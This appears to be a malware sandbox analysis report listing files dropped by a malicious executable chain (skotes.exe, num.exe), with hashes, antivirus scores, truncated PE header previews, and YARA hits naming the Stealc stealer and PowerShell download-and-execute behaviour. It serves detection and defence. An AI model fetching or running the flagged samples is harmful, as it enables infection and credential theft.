SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2888192
Entropy (8bit):	6.529003662460378
Encrypted:	false
SSDEEP:	49152:nnyjOjRFkGq6DS6isHTrcwkUu/0zeXXc2:nyjONFkV6u3Ygwo0qXc2
MD5:	7B4CC8AC4AC8827894A00407B15007C3
SHA1:	0B9182457171726509F5DDB2B577CEC7F7CDFB08
SHA-256:	EF71225B333B75E7768C7F252C9FE4910E3BAC8221C157A2688BAAD2A564485D
SHA-512:	78511AE8E60446A1BBA52509D9349FEC2BC36F4602813D8991BB26A411BA187051DA8DD4E0CB3982156C1C357D7A43BA5EE0F17F052087D955A8892341D82D71
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................../...........@.........................../.....@.,...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...otopmwwu..)......z)..p..............@...nwnnypis....../.......+.............@....taggant.0..../.."....+.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584708209006442
Encrypted:	false
SSDEEP:	12288:jqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TB:jqDEvCTbMWu7rQYlBQcBiT6rprG8abB
MD5:	8C8F878E0052609B14B1A3F7233D8453
SHA1:	DCBAFE10094BC7F4C9FA702A5A85431C7F640A93
SHA-256:	AE50F92370F9D755C6C71850FD9AE908AE55334E4E58C4B4C391756B35A4B005
SHA-512:	1B863C1CBCE1FD0881C37001DB863CCC9185714D4E65F5BA5CD32711D4133D63755D099C4C944E7A70FBA1E4E707FCF591A2F9CC2157A9A9E033672D22CCC896
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...g..g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.94681638014667
Encrypted:	false
SSDEEP:	49152:6f8fJ2nhH2caXgDfU9BByzBSe1zsD010Hf47v:6fcAnJ2cN8+zBmDj/4
MD5:	51098B78FFF0FFD53DF2F9CFE058AA86
SHA1:	6960671AB24691D143CB6027451CF528C07E57EA
SHA-256:	27802A5452CAF2C7D570A267BDB9DF48245AF3289554789E8ED9A3829AAF7F0B
SHA-512:	9953C9F4FE0AFCAA6B64581FE1C29914DADD47659B5120B6E2E59BCDCAD79038009CC69FC506953620192A4848886789E33850BC53B1F66C711FAE6BB1699862
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................@J...........@.................................W...k...........................,.I...............................I..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...wcmebtxw.....`0.....................@...qmfzzgve......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2888192
Entropy (8bit):	6.529003662460378
Encrypted:	false
SSDEEP:	49152:nnyjOjRFkGq6DS6isHTrcwkUu/0zeXXc2:nyjONFkV6u3Ygwo0qXc2
MD5:	7B4CC8AC4AC8827894A00407B15007C3
SHA1:	0B9182457171726509F5DDB2B577CEC7F7CDFB08
SHA-256:	EF71225B333B75E7768C7F252C9FE4910E3BAC8221C157A2688BAAD2A564485D
SHA-512:	78511AE8E60446A1BBA52509D9349FEC2BC36F4602813D8991BB26A411BA187051DA8DD4E0CB3982156C1C357D7A43BA5EE0F17F052087D955A8892341D82D71
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................../...........@.........................../.....@.,...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...otopmwwu..)......z)..p..............@...nwnnypis....../.......+.............@....taggant.0..../.."....+.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1829376
Entropy (8bit):	7.9461935594196795
Encrypted:	false
SSDEEP:	24576:/mhkLdPSgz/XGUiWiRxoDnehvkP2y8jrhGYK/sMn2AyMzlE9aByqi/0HV:/9Sq/XNijoDeq8jNiUS2AyMRE6i/QV
MD5:	E13D89812EE808B7637FE554797B759B
SHA1:	D392EE05CCD8DA3985594FC8DEB0ECDD5A23E8FB
SHA-256:	2FE1592ED1C0BD162F4DE4ABB3A023ED7EAC5426ACF02B5DF89AE163449D7C5F
SHA-512:	BFC9081CE19427F1FB914EAF7AF97B70BEB6E446033ECD510B0902A59E2E353A702918747CEFEE77CA9936750760232E15C43AAEA9F4337B92049B43694A7740
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......i...........@..........................@i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...xfniszhi.....pO......<..............@...punnpugg......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584708209006442
Encrypted:	false
SSDEEP:	12288:jqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TB:jqDEvCTbMWu7rQYlBQcBiT6rprG8abB
MD5:	8C8F878E0052609B14B1A3F7233D8453
SHA1:	DCBAFE10094BC7F4C9FA702A5A85431C7F640A93
SHA-256:	AE50F92370F9D755C6C71850FD9AE908AE55334E4E58C4B4C391756B35A4B005
SHA-512:	1B863C1CBCE1FD0881C37001DB863CCC9185714D4E65F5BA5CD32711D4133D63755D099C4C944E7A70FBA1E4E707FCF591A2F9CC2157A9A9E033672D22CCC896
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...g..g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001161001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1829376
Entropy (8bit):	7.9461935594196795
Encrypted:	false
SSDEEP:	24576:/mhkLdPSgz/XGUiWiRxoDnehvkP2y8jrhGYK/sMn2AyMzlE9aByqi/0HV:/9Sq/XNijoDeq8jNiUS2AyMRE6i/QV
MD5:	E13D89812EE808B7637FE554797B759B
SHA1:	D392EE05CCD8DA3985594FC8DEB0ECDD5A23E8FB
SHA-256:	2FE1592ED1C0BD162F4DE4ABB3A023ED7EAC5426ACF02B5DF89AE163449D7C5F
SHA-512:	BFC9081CE19427F1FB914EAF7AF97B70BEB6E446033ECD510B0902A59E2E353A702918747CEFEE77CA9936750760232E15C43AAEA9F4337B92049B43694A7740
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......i...........@..........................@i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...xfniszhi.....pO......<..............@...punnpugg......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2785280
Entropy (8bit):	6.476377982714711
Encrypted:	false
SSDEEP:	49152:DVHZuj5CJtRKSDEXR5u9Cj41fWJCkgQQpwlw/2x3Z:BHZusJ2SDEX7u9NxW85xpwg2x3
MD5:	69781A3A70FE07C63A7435F108333941
SHA1:	BDCBB1C82C08D5819442E78EF7E5AD81D45A2FAB
SHA-256:	9ED73B81C80FA105AFA71D57974F88675A28DA34117A007BDC67D19B8FCD7D1E
SHA-512:	7D11A85233DA104E83E54ED1CEE0A23E746BE4068B6EB9CDFFD38D63B764241E9F595990F26B047C227CB1A900723E4AC298DB6BDFDA38734E5874CCE288F230
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.....6....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...tkeufwxa. ...... ..:..............@...icskcldh. ..........Z.............@....taggant.@......"...^.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.94681638014667
Encrypted:	false
SSDEEP:	49152:6f8fJ2nhH2caXgDfU9BByzBSe1zsD010Hf47v:6fcAnJ2cN8+zBmDj/4
MD5:	51098B78FFF0FFD53DF2F9CFE058AA86
SHA1:	6960671AB24691D143CB6027451CF528C07E57EA
SHA-256:	27802A5452CAF2C7D570A267BDB9DF48245AF3289554789E8ED9A3829AAF7F0B
SHA-512:	9953C9F4FE0AFCAA6B64581FE1C29914DADD47659B5120B6E2E59BCDCAD79038009CC69FC506953620192A4848886789E33850BC53B1F66C711FAE6BB1699862
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................@J...........@.................................W...k...........................,.I...............................I..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...wcmebtxw.....`0.....................@...qmfzzgve......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07335892763187632
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkiexz:DLhesh7Owd4+jie
MD5:	AF4BBA4DCFBD020CEF1C180647A59FEC
SHA1:	D88D97BAA62CC1AF6CFC4542D2570F7C86F88C83
SHA-256:	36097B683A89596C1CEE334E02A7B771EDD47DE2E9E47E682EA5FDDEE262534A
SHA-512:	0C8BA652CAF29F311F729ED993EB11BB7C15EB76FAF8C8DAB182C1382D0584A7ABF8B4FFA605161AEB97BE9DDD3DE310E51E8B98DD0A79BBD4404209293FC3CB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03690613113897563
Encrypted:	false
SSDEEP:	3:GtlvVrIw9NoeiHYlvVrIw9Noe6lXlL9//2ltltl:GtEoNoe5EoNoec9XCt1
MD5:	6BA63444C52E68C97EB2D087E363F1D2
SHA1:	634A33D4BFD1BEF78425FEE374DFBC2EA04E5D94
SHA-256:	1C30F6FE8B5631E982CD09950CFF69C5FD233E9403966FCDDDF389E210B88787
SHA-512:	C67848C78E99CA99FCD461ADE304DAFFB9B4EBC2187F23DD91FA2004C40964AE8A4A9790D65D9EC20AC7F0E68DA0B5A68E517BFBF1B29C10E17DC076AD321027
Malicious:	false
Preview:	..-......................mh^..4o+.....YG.T........-......................mh^..4o+.....YG.T..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	65616
Entropy (8bit):	0.02979699506765127
Encrypted:	false
SSDEEP:	3:Ol1YKozBzUecl/olNOJzo2KvthSrV//mwl8XW3RTfOJJe5Fga5SrV//mwl8XW3R2:KuKoz5VU/Fzo/qpuw93YJQFgJpuw93w
MD5:	16DACD6C2C28B0A455AA8BF9C920852E
SHA1:	D95F03BBA42B73356D524D91F30A675983D83089
SHA-256:	ABBB72765FC150729186EA80656A1C6DCAC82AA09099F546080F80F7EDC4697E
SHA-512:	FDD2B434500F5B6D53A8D8FC421820431CCD44A077B77D6C0975B227B81340F5A6641E64AE3F937207BFF1369334B635D83FB711AC654720BDEC62558E1F12A3
Malicious:	false
Preview:	7....-..........+.....YG.v.>.(i.........+.....YG....c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	modified
Size (bytes):	10800
Entropy (8bit):	5.497982959200369
Encrypted:	false
SSDEEP:	192:0nTFTRR4YbBp6nLZNMGaXU6qU4rzy+/3/OYiNBw8dJSl:2CeeFNMr4yrdw80
MD5:	FD8C234D8D87B906EA3568434BCEA0C8
SHA1:	3ED78FD58BDB195D337ED75071730031803FA220
SHA-256:	CD3B5A4E570B39741B10F2708A46304444A8366E73150284EA2D7094E4140546
SHA-512:	54C657F0A1F71C6D36CB51B783F0EB8BA3E3DF43507CEF6FAF43B83CC6D152F94454AF86ABB556A27F8246105C9DB9BA7BE3F630D4A638577512E042FDF30026
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10800
Entropy (8bit):	5.497982959200369
Encrypted:	false
SSDEEP:	192:0nTFTRR4YbBp6nLZNMGaXU6qU4rzy+/3/OYiNBw8dJSl:2CeeFNMr4yrdw80
MD5:	FD8C234D8D87B906EA3568434BCEA0C8
SHA1:	3ED78FD58BDB195D337ED75071730031803FA220
SHA-256:	CD3B5A4E570B39741B10F2708A46304444A8366E73150284EA2D7094E4140546
SHA-512:	54C657F0A1F71C6D36CB51B783F0EB8BA3E3DF43507CEF6FAF43B83CC6D152F94454AF86ABB556A27F8246105C9DB9BA7BE3F630D4A638577512E042FDF30026
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
